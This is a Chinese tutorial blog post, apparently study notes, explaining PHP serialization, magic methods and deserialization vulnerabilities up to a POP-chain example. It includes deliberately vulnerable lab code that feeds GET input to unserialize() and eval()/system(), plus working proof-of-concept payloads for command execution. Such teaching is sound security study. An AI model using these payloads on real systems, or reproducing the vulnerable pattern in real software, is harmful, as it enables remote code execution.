反序列化漏洞详解(一)

news2024/10/7 14:29:22

目录

一、php面向对象

二、类

2.1 类的定义

2.2 类的修饰符介绍

三、序列化

3.1 序列化的作用

3.2 序列化之后的表达方式/格式 

① 简单序列化

② 数组序列化

③ 对象序列化

④ 私有修饰符序列化

⑤ 保护修饰符序列化

⑥ 成员属性调用对象 序列化

四、反序列化

4.1 反序列化的特性

4.2 反序列化的作用

五、反序列化漏洞

5.1 反序列化漏洞概述

5.2 魔术方法

魔术方法简介

什么是魔术方法

魔术方法的作用

魔术方法相关机制

重要魔术方法

六、pop链前置知识


一、php面向对象

面向对象程序设计(Object Oriented Programming,简称OOP)是一种计算机编程架构。面向对象思想的核心:计算机模拟现实世界,解决现实世界的问题。注意:面向对象思想很重要,其次是编程语言的语法。相比于面向过程,两者思想方式不同,面向过程注重功能,怎么一步一步去实现,其程序基本单位大多是函数组成的;而面向对象注重对象,是谁去做这个事情,也就是行为以及状态,其程序基本单位是对象,对象是通过类的实例化产生的。


二、类

2.1 类的定义

类是定义了一件事物的抽象特点,将数据的形式以及这些数据上的操作封装在一起,对象是具有类类型的变量,是类的实例。类是对象的抽象,而对象是类的具体实例。类的想法,把类实例化(new),调用具体值后就变成了对象。

内部构成:成员变量(属性)+成员函数(方法)

成员变量:定义在类内部的变量,该变量对外是不可见的,但是可以通过成员函数访问,在类被实例化成为对象后,该变量即可成对象的属性。

成员函数:定义在类的内部,用于访问对象的数据,是实现某个独立的功能,类中一个行为

大白话解释一下(比较形象):

类和对象的关系:类好比公司让你填写个人简介的表格 有姓名 年龄 等 如果没有人填写 那么这个表格(类)将毫无用处 ,但是同学A 填写了这个表格,A填写完表格(对象)就是表格(类)的实例化 表格实例化成为了一个对象,A就可以拿着简介去公司面试了,否则表格空空 公司看都不看。举的例子中个人信息属于成员属性 成员函数好比表格上写跳舞,电脑的操作者属于面试官 对象属于填写完的表格信息 当面试官查看个人信息的时候 只能看到对象中的属性,这时候面试官看到对象里面写着个人爱好为跳舞,面试官对同学A(执行类中函数)你跳舞吧,边跳舞边说自己的个人信息 同学A就展示动作并说出自己的个人信息(这就是成员函数可以访问成员变量,并且个人信息别人是不知道的),(通过这也可以看出 对象里有属性和方法,属性是可以一看看出来的,但是方法需要面试官主动让你跳,你才能跳) 

继承:继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系(也就是说 一个类的子类和类本身是没有什么区别的)


2.2 类的修饰符介绍

在类中直接声明的变量成为成员属性(也可以成为成员变量),可以在类中声明多个变量,即对象中可以有多个成员属性,每个变量都存储对象不同的属性信息

访问权限修饰符:对属性的定义 定义权限

如果定义了权限 就不可以在哪都能调用了

代码演示

<?php
class jianjie{  //定义一个类 简介的表格
  var $name; //定义一个属性 表格中需要填写的
  var $sex;  
  function dance($var1) { //定义一个方法 也就是跳舞
    echo $this->name."<br />";//如果对象为A A跳舞的时候可以说出自己的个人信息
    echo $var1."<br />";
    }
}
$A= new hero();//将类实例化为对象 也就是表格让同学A填写
$A->name='chengyaojin'; //同学A进行填写
$A->sex='man';
print_r($cyj);//面试官查看个人信息 只能查看到属性
$A->dance('tiaotiaotiao'); //面试官知道表格里有个跳舞,面试官就让A跳舞 A就跳舞了
?>
<?php
class hero{
  //三个属性 定义了该属性的权限
  public  $name='chengyaojin'; //公共的
  private  $sex='man';//私有的
  protected  $shengao='165';//私有加子类的
  function jineng($var1) {
    echo $this->name; //可以
    echo $var1;       //可以
    }
}
class hero2 extends hero{ //hero2位hero的子类
    function test(){
    echo $this->name."<br />";//可以
    echo $this->sex."<br />"; //不可以
    echo $this->shengao."<br />";//可以
    }
}
$cyj= new hero();
$cyj2=new hero2();
echo $cyj->name."<br />";
echo $cyj2->test();
?>

三、序列化

3.1 序列化的作用

序列化是将对象的状态信息(属性)转换为可以存储或传输的形式的过程(方便存储和方便传输)

将对象或者数组转化为可存储/传输的字符串

举例:如果有session 会把传进来的参数键值对转换成字符串存储在session文件里面

在php中使用函数serialize()来将对象或者数组进行序列化 并返回一个包含字节流的字符串来表示


3.2 序列化之后的表达方式/格式 

① 简单序列化

<?php
$a=null;
echo serialize($a);
?>

② 数组序列化

<?php
$a = array('benben','dazhuang','laoliu');
echo $a[0];
echo serialize($a);
?>
benben
a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}

③ 对象序列化

<?php
class test{
    public $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:3:"pub";s:6:"benben";}

④ 私有修饰符序列化

<?php
class test{
    private $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:9:"testpub";s:6:"benben";}
//因为pub是私有属性 序列化会在前面加上类名 并且类名前后要有空字符 所以一共是9个字符

⑤ 保护修饰符序列化

<?php
class test{
    protected $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:6:"*pub";s:6:"benben";}
如果一个属性属于保护的修饰符 序列化的时候会在属性的前面加上* 并且*前后也会有空字符 一共是6个字符

⑥ 成员属性调用对象 序列化

<?php
class test{
    var $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
class test2{
    var $ben;
    function __construct(){
        $this->ben=new test();
    }
}
$a = new test2();
echo serialize($a);
?>
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}

整体演示

<?php
highlight_file(__FILE__);
class TEST {
    public $data;
    public $data2 = "dazzhuang";
    private $pass;

    public function __construct($data, $pass)
    {
        $this->data = $data;
        $this->pass = $pass;
    }
}
$number = 34;
$str = 'user';
$bool = true;
$null = NULL;
$arr = array('a' => 10, 'b' => 200);
$arr2 = array2('benben','dazhuang','tzy');
$test = new TEST('uu', true);
$test2 = new TEST('uu', true);
$test2->data = &$test2->data2;
echo serialize($number)."<br />";
echo serialize($str)."<br />";
echo serialize($bool)."<br />";
echo serialize($null)."<br />";
echo serialize($arr)."<br />";
echo serialize($test)."<br />";
echo serialize($test2)."<br />";
?>
i:34;
s:4:"user";
b:1;
N;
a:2:{s:1:"a";i:10;s:1:"b";i:200;}
a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}
O:4:"TEST":3:{s:4:"data";s:2:"uu";s:5:"data2";s:9:"dazzhuang";s:10:"TESTpass";b:1;}
O:4:"TEST":3:{s:4:"data";s:9:"dazzhuang";s:5:"data2";R:2;s:10:"TESTpass";b:1;}

注意

切记整型666被序列化后是 i:666; 分号要记住

实例化为对象后只会携带成员属性做序列化的时候 只会序列化属性,成员方法调用才有

带权限输出的时候最好用urlcode进行编码 如果编码为url后就能看到test两边是空字符

s:10:"TESTpass" 明明8个字符 确显示10个字符就是因为空字符的原因


四、反序列化

4.1 反序列化的特性

1 反序列化之后的内容为一个对象

2 反序列化生成的对象里的值,由反序列化里的值提供;与原由类预定义的值无关

3 反序列化不触发类的成员方法;需要调用方法后才能触发(有些同学疑问 为什么反序列化后就能触发成员方法 是因为使用了 魔术方法


4.2 反序列化的作用

代码

<?php
class test {
    public  $a = 'benben';
    protected  $b = 666;
    private  $c = false;
    public function displayVar() {
        echo $this->a;
    }
}
$d = new test();//将类实例化为一个对象
$d = serialize($d);//进行序列化
echo $d."<br />"; //输出一下序列化后的值
echo urlencode($d)."<br />";//进行url编码 能看到空字符的%00
$a = urlencode($d);//将url编码后赋值给变量a
$b = unserialize(urldecode($a));//对a进行反序列化 赋值给b
var_dump($b);//
?>

反序列化后的输出和正常对象的输出是一样的,但是如果将序列化字符串里面的benben改成dazhuang 那么反序列化后的a 就变成了dazhuang 这里老师说了 通过序列化反序列化构造木马很难被发现

O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"*b";i:666;s:7:"testc";b:0;}
O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D
object(test)#1 (3) { 
["a"]=> 
string(6) "benben" 
["b:protected"]=> 
int(666) 
["c:private"]=> 
bool(false) }

反序列化为一个对象的时候 这个对象是没有方法的 必须得主动调用方法 这个方法不是对象的 是类的 向类进行借用(类似于系统识别出来你这个对象就是属于类,就可以用类中的方法) 这个时候如果把类注释掉 那么这个方法将无法执行 (其实老师说的也不对 我感觉不能这么理解)因为这个方法里面有输出当前姓名 输出的是我们刚刚修改过的dazhuang。


五、反序列化漏洞

5.1 反序列化漏洞概述

反序列化成因反序列化过程中,userialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值 ,通过调用方法,触发代码执行(到后面就能明白了为什么叫调用方法就能触发代码执行 因为在类的方法中调用了自己的属性,但是这个属性可以通过反序列化进行更改,也就是说光改变值也不行 需要让这个值被执行 这才能实现漏洞利用)

反序列化漏洞实例

靶场源码

<?php
error_reporting(0);
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}
$get = $_GET["benben"];//通过GET 传参 传的是序列化后的值
$b = unserialize($get);//把参数值反序列化赋值给一个对象b
$b->displayVar() ;
//本来对象b不属于test类的 但是通过反序列化后系统就会认为b是类test实例化的对象 从而可以执行类中的方法 因为传参的时候已经把类的属性修改为我们想要的代码了 这样就实现了反序列化的漏洞 
到这我也发现有个前提 我们必须要知道源码
?>

传参??benben=O:4:"test":1:{s:1:"a";s:12:"system(dir);";}


5.2 魔术方法

魔术方法简介

魔术方法在反序列化漏洞利用里面占用的比例还是很大的

什么是魔术方法

一个预定义好的,在特定情况下自动触发的行为方法

魔术方法的作用

反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码;通过调用的方法,触发代码执行

魔术方法在特定条件下自动调用相关方法,最终导致触发代码

魔术方法相关机制

重要魔术方法


_construct()

构造函数,在实例化一个对象的时候,首先回去自动执行的一个方法;

触发时机:实例化对象

功能:提前清理不必要内容

参数:非必要

<?php
highlight_file(__FILE__);
class User {
    public $username;
    public function __construct($username) {
        $this->username = $username;
        echo "触发了构造函数1次" ;
    }
}
//实例化user类的时候会触发类中__construct魔术方法
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>
触发了构造函数1次

__destruct()

 析构函数,在对象的所有引用被删除或者当对象被显式销毁是执行的魔术方法

<?php
highlight_file(__FILE__);
class User {
    public function __destruct()
    {
        echo "出发了析构函数1次"."<br />" ;
    }
}
$test = new User("benben"); 实例化对象结束后 代码运行完全 触发一次 创建的时候肯定不会触发 但是对象用完了就要销毁 销毁的时候会触发 
$ser = serialize($test);//不会触发
unserialize($ser);//这里也出发了一次 反序列化和实例化为对象一个意思
?>
这么理解有点繁琐 大白话就是 当实例化一个对象的时候 类中的代码会执行一遍 执行一遍后就出发了魔术方法
反序列化一样的道理
触发了构造函数1次
触发了构造函数1次

析构函数例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
        eval ($this->cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);//解释一下 实例化为一个对象就好比要把类里面的代码过一遍,反序列化也一个意思 要把字符串过一遍,虽然这个值是序列化的字符串得出来的 但是系统也会认为这个对象和类有关属于类里面的 因为类里面有__destruct 从而触发
?>

构造序列化后的值

?benben=O:4:"User":1:{s:3:"cmd";s:12:"system(dir);";}


__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作,此功能可以用于清理对象,并返回一个对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误。

触发时机:序列化serialize()之前

功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性

参数:成员属性

返回值:需要被序列化存储的成员属性

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password)    {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        return array('username', 'nickname');
    }
}
$user = new User('a', 'b', 'c');//触发__construct魔术方法 abc参数自动传入方法之中
echo serialize($user);//触发__sleep魔术方法 魔术方法只返回usernmae nickname 告诉serialize函数 不序列化password
?>
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

sleep例题

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password)    {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        system($this->username);
    }
}
$cmd = $_GET['benben'];//通过GET传入参数
$user = new User($cmd, 'b', 'c');//这个GET获取的参数作为对象的username
echo serialize($user);//序列化会先执行construct魔术方法再执行__sleep魔术方法 从而利用了漏洞
?>

构造语句?benben=cmd

这么一看 其实这个靶场就构成木马 传入参数 就会执行参数的命令 学东西越多构造的木马越多


__wakeup()

unserlialize()会检查是否存在一个__ wakeup()方法。如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源,预先准备对象资源,返回void,常用反序列化操作中重新建立数据库连接或执行其他初始化操作。

示例

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        $this->password = $this->username;
    }
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
//在进行反序列化的时候 虽然数据是从序列化的字符串中得到的 但是系统识别出类中有一个__wakeup魔术方法 里面对password进行了赋值 从反序列化中得到了username和nickname 从魔术方法中获得了password
魔术方法给属性赋值了 也就是告诉对象你你还有一个值 别忘记了 但是吧这个order为什么会冒出来
object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password:private"]=> string(1) "a" ["order:private"]=> NULL }

例题 漏洞利用

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        system($this->username);
    }
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>

构造poc O:4:"User":1:{s:8:"username";s:3:"dir";}

输出


__tostring

表达方式错误 导致魔术方法触发

触发时机:把对象当成字符串调用

把类User实例化并赋值给$test 此时$test是一个对象 调用对象可以使用print_r或者 var_dump echo和print只能调用字符串的方法去调用对象

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $benben = "this is test!!";
         public function __toString()
         {
             return '格式错误!';
          }
}
$test = new User() ;//这是一个对象
print_r($test); //成功执行
echo "<br />"; 
echo $test;//echo只能输出一个变量 但是test是对象 这个时候对象里面的__toString就会被触发
?>
User Object ( [benben] => this is test!! )
格式错误!

__invoke()

格式表达错误导致魔术方法触发

触发时机:包对象当成函数调用

<?php
function dazhaung(){
    echo "这是一个函数";
}
class User {
    var $benben = "this is test!!";
         public function __invoke()
         {
             echo  '这不是一个函数!';
          }
}
$test = new User() ;
dazhaung()//输出这是一个函数
$test() //因为这是对象 当成函数去执行类里面的invoke函数就会执行
?>

错误调用相关魔术方法


__call()

触发时机:调用一个不存在的方法

参数:2个参数传参$arg1,$arg2

$arg1 调用的不存在的方法的名称

$arg2 调用的不存在的方法的参数

 返回值:调用的不存在的方法的名称和参数

当对象调用的方法不存在是 就会触发这个魔术方法

<?php
class User {
    public function __call($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test -> callxxx('a');
?>
callxxx,a

__callStatic()

触发时机:静态调用或调用成员常量时的方法不存在

参数:2个参数传参$arg1,$arg2

返回值:调用的不存在的方法的名称和参数

<?php
class User {
    public function __callStatic($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test::callxxx('a');//这就是静态调用方法 如果这个方法不存在 就触发callstatic
?>
callxxx,a

__get()

触发时机:调用的成员属性不存在

参数:传参$arg1

返回值:不存在的成员属性名称

触发get(0)把不存在的属性名称var2赋值给$arg1

<?php
class User {
    public $var1;
    public function __get($arg1)
    {
        echo  $arg1;
    }
}
$test = new User() ;
$test ->var2;//调用一个不存在的属性 自动执行__get()魔术方法 将不存在属性名赋值给arg1 并输出出来
?>
var2

__set()

触发时机:给不存在的成员属性赋值

参数:传参$arg1,$arg2

返回值:不存在的成员属性的名称和赋的值

先触发grt()再触发set()

$arg1,不存在成员属性的名称

$arg2,不存在的成员属性var2赋的值

<?php
class User {
    public $var1;
    public function __set($arg1 ,$arg2)
    {
        echo  $arg1.','.$arg2;
    }
}
$test = new User() ;
$test ->var2=1;//为一个不存在的属性赋值 会触发__set魔术方法 将不存在的属性名赋值给arg1 赋的值赋值给arg2 并输出
?>
var2,1

__isset()

触发时机:对不可访问属性/或不存在属性使用isset()或empty()时,__isset()会被调用

参数:传参$arg1

返回值:不存在的成员属性的名称 

<?php
class User {
    private $var;
    public function __isset($arg1 )
    {
        echo  $arg1;
    }
}
$test = new User() ;
isset($test->var);//如果不存在或者无权限的属性名被isset函数调用会触发__isset魔术方法 将属性名赋值给arg1
?>
var

unset()同理

<?php
class User {
    private $var;
    public function __unset($arg1 )
    {
        echo  $arg1;
    }
}
$test = new User() ;
unset($test->var);//同理
?>
var

__clone()

触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用一个魔术方法

<?php
class User {
    private $var;
    public function __clone( )
    {
        echo  "__clone test";
          }
}
$test = new User() ;
$newclass = clone($test)//拷贝一个对象后 这个新对象会触发魔术方法__clone
?>

六、pop链前置知识

1 控制成员属性所对应的对象是哪一个

2 遇到有pop链的题目 经常使用的方法是反推法 不能正着推 题目量如果少的话 还可以 一但量大就不好弄了

练习 代码讲解

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
    public function __construct(){
        $this->test = new normal();
    }
    public function __destruct(){
        $this->test->action();
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){
        eval($this->test2);
    }
}
unserialize($_GET['test']);
?>

反推法的开始就是先找到代码里面的利用点 eval就是整个代码能利用的点

往前推 

1,eval的值通过test2传过来 但是eval所在的函数不是魔术方法这个时候就要往前找看谁调用了evil类中的action函数

2 index类中的 __destruct魔术方法调用了normal类对象test的action函数 

这个时候问题就是如何让test调用evil中的action()方法 

因为反序列化得出的对象的值和类无关 可以自定义

我们只需定义test为对象 这个对象的来源是evil类

解决思路:给test赋值为对象  test=new evil()

有两种构造方法 一种手写poc 一种利用源代码修改生成序列化的字符串

我是真牛呀 一次直接手写成功

?test=O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:12:"system(dir);";}}

但是吧手写短一点的行 最好还是要利用源代码构造poc 

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
    public function __construct(){
        $this->test = new evil();
    }

}
class evil {
    var $test2="system(dir);";
    public function action(){
        eval($this->test2);
    }
}
$a=new index();
echo serialize($a);
?>

这是分析代码后确定如何才能执行eval()

反序列化过程: 构造完的poc 反序列化给一个对象A 告诉这个对象你是index类的你里面有个test的属性 并且这个属性属于evil类的 evil(test对象)里的值test2为system(dir) 因为是反序列化在反序列化结束的时候会自动执行index类(对象A)中的__destruct()魔术方法 从而执行action

得出反序列化过程开始使用序列化构造poc

构造poc序列化过程:index类中有test 和魔术方法__construct 当执行序列化后会自动触发__construct 里面的内容是将test作为eval的对象 对象的属性里面有test2属性 属性的值为system(dir)

将poc放到源代码中分析过程:告诉系统test属于evil的对象并且test属性里的test2属性的值为system(dir) 执行完反序列化自动执行 魔术方法destruct 从而执行远程命令

还有一种构造方法

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
}
class evil {
    var $test2;

}
$a=new evil();//实例化为一个对象
$a->test2="system(dir);";//为这个对象的竖向test2进行赋值
$b=new index();//实例化index的对象
$b->test=$a;//让index的对象的属性等于evil的对象,这道题因为test为 private所以不能再类外进行构造 这只是一个举例
echo serialize($b); //实例化这个$b
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1276519.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

深度学习今年来经典模型优缺点总结,包括卷积、循环卷积、Transformer、LSTM、GANs等

文章目录 1、卷积神经网络&#xff08;Convolutional Neural Networks&#xff0c;CNN&#xff09;1.1 优点1.2 缺点1.3 应用场景1.4 网络图 2、循环神经网络&#xff08;Recurrent Neural Networks&#xff0c;RNNs&#xff09;2.1 优点2.2 缺点2.3 应用场景2.4 网络图 3、长短…

ZeroTier外网访问实验室Linux服务器

ZeroTier外网访问实验室Linux服务器 1、在ZeroTier上创建一个自己的Network 进入ZeroTier的官网https://www.zerotier.com/注册一个账号 注册完之后登录进去&#xff0c;创建自己的Network 创建完之后来到IPv4的分配管理&#xff0c;选择主机位只有后8位的IP&#xff0c;才能…

Windows安装Mysql Workbench及常用操作

Mysql Workbench是mysql自带的可视化操作界面&#xff0c;功能是强大的&#xff0c;但界面和navicat比&#xff0c;就是觉得别扭&#xff0c;但其实用惯了也还好&#xff0c;各有特色吧。这里记录一下常用的操作。 官方手册&#xff1a;MySQL Workbench 一、安装 1. 下载 官方…

C++可表示的数(数组前面2个数的和)

void 可表示的数&#xff08;数组前面2个数的和&#xff09;() {int aa[]{1,2,3,4,5,6,7,8,9}, j 0, z 1, jj z, n 9, ge 0;string a "";while (j < n)//缘由https://bbs.csdn.net/topics/396063706?page1#post-410898529{if (jj < n)if (aa[j] aa[z] …

深入浅出强化学习

目录 一、强化学习的概念 二、强化学习的特点 三、强化学习的训练过程 一、强化学习的概念 强化学习是一种机器学习方法&#xff0c;旨在教会算法如何通过与环境的交互来进行学习和决策。与传统的监督学习和无监督学习不同&#xff0c;强化学习侧重于学习与奖励和惩罚&#…

OSI七层模型的前三层

开发中我们常见的网络设计和网络排查等&#xff0c;用到的网络层一般是tcp/ip第四层&#xff0c;也称OSI 网络层&#xff0c;很少去关心前三层的网络层、数据链路层、物理层&#xff0c;脑海里想到这三层的数据流转&#xff0c;脑海里都是抽象的画面。 本篇浅显的梳理前三层中各…

spring boot 3.2.0 idea从零开始

spring boot 3.2.0 idea从零开始 最新的spring initilizer 不再支持低版本java&#xff0c;只能选择17、21 。 我也被迫尝试下最新版本的java。 jdk下载地址 自定义好artifact和group之后点击下一步。 在这里选择需要的组件&#xff0c;我准备做web项目所以只选择spring web …

Navicat Premium 16.3.3 Windows x64 Crack

增强您的表现。 Navicat 16 具有许多改进和功能&#xff0c;可以满足您的数据库开发需求。凭借 100 多项增强功能和全新界面&#xff0c;您可以探索构建、管理和维护数据库的新方法。构建时考虑到可用性。 Navicat 16 引入了许多 UI/UX 改进&#xff0c;以最大限度地提高您的效…

C++浅谈Actor模型及其应用

文章目录 0 引入1、理解1.1 为什么会出现Actor这种模型呢&#xff1f;1.2 Actor如何解决 2、应用1.SkyNet2.Erlang3.RabbitMQ 3、引用 0 引入 最近发现Actor模型其实我在工作中已经不知不觉实现了&#xff0c;最起码有这些影子。 1、理解 Actor模型是一种轻量级的并发编程模型…

Android--Jetpack--Lifecycle详解

富贵本无根&#xff0c;尽从勤里得 一&#xff0c;定义 Lifecycle 是一个具备宿主生命周期感知能力的组件。它持有组件&#xff08;Activity/Fragment&#xff09;生命周期状态信息&#xff0c;并且允许其观察者监听宿主生命周期状态变化。 顾名思义&#xff0c;Lifecycle的主…

[论文阅读]Sparse Fuse Dense

SFD Sparse Fuse Dense: Towards High Quality 3D Detection with Depth Completion 论文网址&#xff1a;SFD 论文代码&#xff1a;SFD 论文简读 本文主要关注如何利用深度完成技术提高三维目标检测的质量。论文提出了一种名为 SFD&#xff08;Sparse Fuse Dense&#xff0…

SQL server 2016安装

1、关系数据库的基本概念。 行&#xff1a;每行成为一条“记录”或“元组”&#xff0c;用于描述一个对象的信息。 列&#xff1a;每列称为一个“字段”或“属性”&#xff0c;用于描述对象的一个属性。 2、主键与外键。 主键&#xff1a;键&#xff0c;即关键字。主键由一个或…

CentOS或RHEL安装vscode

下载rpm安装包 网络下载或者下载到本地再上传到服务器&#xff0c;点击访问国内下载地址&#xff0c;不需要积分curl -fOL https://github.com/coder/code-server/releases/download/v4.19.1/code-server-4.19.1-amd64.rpm安装 rpm -i code-server-4.19.1-amd64.rpm关闭和禁用…

高端网站设计公司 -蓝蓝设计数据可视化大屏服务

UI设计公司-蓝蓝设计&#xff08;北京兰亭妙微科技有限公司&#xff09;是一支由清华美院毕业的专业团队组成的设计公司。我们的设计师们在大屏科研信息软件UI设计领域拥有多年的工作经验和丰富的行业知识。我们对设计充满热爱&#xff0c;设计不仅是我们的专业和职业&#xff…

locked1勒索病毒,刚攻击完海康威视系统,又再针对速达软件服务器攻击

导言&#xff1a; .locked、.locked1勒索病毒正成为数字安全的一大威胁。本文91数据恢复将深入介绍.locked、.locked1勒索病毒的特点、如何有效恢复被其加密的数据文件&#xff0c;以及预防这一数字噩梦的方法。如果您正在经历勒索病毒数据恢复的困境&#xff0c;我们愿意与您…

【动态规划】LeetCode-62.不同路径

&#x1f388;算法那些事专栏说明&#xff1a;这是一个记录刷题日常的专栏&#xff0c;每个文章标题前都会写明这道题使用的算法。专栏每日计划至少更新1道题目&#xff0c;在这立下Flag&#x1f6a9; &#x1f3e0;个人主页&#xff1a;Jammingpro &#x1f4d5;专栏链接&…

webGL开发学科演示项目方案

开发学科演示项目需要考虑到教育目标、互动性和用户体验。以下是一个可能的技术方案&#xff0c;可用于实现这样的项目&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 1.WebGL 框架&#xff1a; 选择…

java企业财务管理系统springboot+jsp

1、基本内容 &#xff08;1&#xff09;搭建基础环境&#xff0c;下载JDK、开发工具eclipse/idea。 &#xff08;2&#xff09;通过HTML/CSS/JS搭建前端框架。 &#xff08;3&#xff09;下载MySql数据库&#xff0c;设计数据库表&#xff0c;用于存储系统数据。 &#xff08;4…

微信小程序自定义tabBar简易实现

文章目录 1.app.json设置custom为true开启自定义2.根目录创建自定义的tab文件3.app.js全局封装一个设置tabbar选中的方法4.在onshow中使用选中方法最终效果预览 1.app.json设置custom为true开启自定义 2.根目录创建自定义的tab文件 index.wxml <view class"tab-bar&quo…

Java零基础——vue篇

1.【熟悉】Vue简介 1.1 简介 它是一个构建用户界面的框架 Vue是一个前端框架 js jq https://www.pmdaniu.com/#file UI网站 UI 一般开发者使用蓝湖 工具 看着UI图 写接口 https://lanhuapp.com/web/#/item 是一个轻量级的MVVM&#xff08;Model-View-ViewModel&#xff0…